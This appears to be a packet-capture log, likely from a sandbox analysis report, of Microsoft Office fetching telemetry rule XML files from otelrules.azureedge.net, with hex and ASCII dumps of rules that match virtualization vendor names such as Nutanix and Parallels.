Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:54 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:55 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 15dd4eb7-201e-0051-500a-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024055Z-178bfbc474bvjk8shC1NYC83ns00000006tg000000000nd9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:55 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.8	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:55 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:55 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: c388be8e-101e-008e-2ebf-3ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024055Z-178bfbc474b7cbwqhC1NYC8z4n00000006u00000000055y5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:55 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.8	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:55 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2b57feed-101e-0028-5221-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024055Z-178bfbc474bxkclvhC1NYC69g400000006u0000000007hd9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:55 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.8	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:56 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024057Z-178bfbc474bmqmgjhC1NYCy16c00000006zg000000004sxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:57 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.8	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:56 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:57 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 43acaf28-701e-006f-5cf7-3cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024057Z-178bfbc474bxkclvhC1NYC69g400000006pg00000000kvqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:57 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.8	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:57 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024057Z-174c587ffdf9xbcchC1TEBxkz4000000053g00000000mhaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:57 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.8	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:57 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:57 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0fd64145-d01e-0028-790a-3d7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024057Z-178bfbc474bh5zbqhC1NYCkdug00000006ug000000005th5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:57 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.8	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:57 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 753d71cc-101e-0065-41b6-3e4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024058Z-178bfbc474bgvl54hC1NYCsfuw00000006u000000000bvap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.8	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:59 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:59 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c63dd3a8-001e-0017-61d8-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024059Z-178bfbc474bfw4gbhC1NYCunf400000006tg00000000gbz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:59 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.8	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:59 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:59 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 19a81fd9-501e-0078-66bc-3b06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024059Z-15b8b599d88l2dpthC1TEBmzr000000005bg00000000313v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:59 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.8	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:59 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:59 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024059Z-174c587ffdf7t49mhC1TEB4qbg000000055000000000kum9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:59 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.8	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:59 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 41485cca-c01e-0034-71f5-3c2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024059Z-178bfbc474brk967hC1NYCfu6000000006pg000000007xbv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> 